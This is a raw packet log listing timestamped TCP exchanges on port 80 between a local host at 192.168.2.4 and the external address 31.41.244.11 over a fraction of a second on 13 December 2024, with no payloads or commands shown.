Dec 13, 2024 01:51:13.614080906 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.614130974 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.614953995 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.615072966 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.615077972 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.615125895 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.615912914 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.615968943 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.616019964 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.616071939 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.616866112 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.616918087 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.616967916 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.617019892 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.617858887 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.617913008 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.617957115 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.618005991 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.618824005 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.618879080 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.618927956 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.618978977 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.619810104 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.619937897 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.620012045 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.620915890 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.621004105 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.621062040 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.621786118 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.621845961 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.621917009 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.622808933 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.622865915 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.622869968 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.623068094 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.623743057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.623859882 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.623915911 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.624706030 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.624842882 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.624898911 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.625691891 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.625752926 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.625804901 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.626635075 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.626718044 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.626759052 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.627072096 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.627639055 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.627763033 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.627820015 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.628604889 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.628731966 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.628791094 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.629576921 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.629638910 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.629682064 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.630562067 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.630650043 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.630669117 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.631072044 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.631530046 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.631643057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.631701946 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.632503986 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.632638931 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.632699013 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.633487940 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.633548975 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.633606911 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.634453058 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.634505987 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.634571075 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.635071039 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.635426998 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.635541916 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.635601044 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.636375904 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.636488914 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.636545897 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.637355089 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.637413025 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.637465954 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.638336897 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.638396978 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.638473034 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.639070988 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.639338970 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.639494896 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.639550924 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.640328884 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.640482903 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.640539885 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.641261101 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.641324043 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.641391039 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.642252922 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.642313004 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.642373085 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.643069029 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.643214941 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.643398046 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.643456936 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.644190073 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.644361973 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.644421101 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.645201921 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.645261049 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.645328999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.646128893 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.646188021 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.646272898 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.647075891 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.647099972 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.647170067 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.647227049 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.648124933 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.648180962 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.648240089 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.649059057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.649118900 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.649183989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.650031090 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.650088072 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.650182009 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.651005030 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.651063919 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.651115894 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.651171923 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.651992083 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.652102947 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.652159929 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.652964115 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.653115988 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.653175116 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.653954029 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.654011965 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.654069901 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.654905081 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.654963017 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.655031919 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.655881882 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.655940056 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.656006098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.656076908 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.656842947 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.656903982 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.656972885 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.657027960 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.657812119 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.657865047 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.657936096 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.657984972 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.658785105 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.658835888 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.658905029 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.658957005 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.659760952 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.659887075 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.659943104 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.660780907 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.660934925 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.660999060 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.661736965 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.661772966 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.661796093 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.661825895 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.662687063 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.662746906 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.662813902 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.662864923 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.663635015 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.666090012 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.804938078 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.805046082 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.805129051 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.805186987 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.805206060 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.805227041 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.805236101 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.805274010 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.806360960 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.806415081 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.806461096 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.806461096 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.807110071 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.807218075 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.807271957 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.808109999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.808223009 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.808276892 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.809039116 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.809123993 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.809161901 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.809216022 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.810028076 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.810085058 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.810175896 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.810240030 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.811019897 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.811074972 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.811075926 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.811130047 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.811995029 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.812052965 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.812088966 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.812145948 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.812932968 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.813028097 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.813055992 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.813107967 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.813905954 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.814029932 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.814088106 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.814896107 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.814985037 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.815104008 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.815881014 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.815941095 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.816008091 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.816493034 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.816843033 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.816910028 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.816962004 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.817018032 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.817807913 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.817864895 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.817934036 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.817996979 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.818784952 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.818840027 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.818911076 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.818964005 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.819796085 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.819859028 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.819910049 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.820308924 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.820729971 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.820797920 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.820848942 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.820902109 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.821718931 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.821774006 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.821844101 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.821897030 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.822691917 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.822746038 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.822834015 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.822886944 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.823664904 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.823719978 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.823800087 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.823868036 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.824706078 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.824764013 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.824785948 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.824837923 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.825651884 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.825753927 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.825777054 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.825828075 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.826607943 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.826662064 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.826733112 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.826826096 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.827560902 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.827620029 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.827682018 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.827733040 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.828532934 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.828589916 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.828666925 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.828720093 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.829507113 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.829569101 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.829622984 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.829674959 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.830496073 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.830550909 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.830615997 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.830667973 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.831454039 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.831509113 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.831587076 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.831640005 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.832433939 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.832487106 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.832509995 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.832561970 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.833431959 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.833492994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.833544970 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.833596945 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.834400892 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.834455967 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.834526062 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.834578037 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.835371017 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.835427999 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.835503101 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.835556030 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.836334944 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.836388111 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.836468935 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.836523056 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.837301970 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.837362051 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.837414980 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.837469101 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.838294983 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.838344097 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.838423967 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.838474035 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.839255095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.839309931 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.839391947 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.839442015 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.840243101 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.840293884 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.840415955 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.840465069 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.841204882 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.841252089 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.841310024 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.841356039 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.842168093 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.842227936 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.842293024 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.842340946 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.843152046 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.843200922 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.843206882 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.843252897 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.844141006 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.844189882 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.844199896 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.844245911 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.845132113 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.845187902 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.845218897 CET	80	49765	31.41.244.11	192.168.2.4
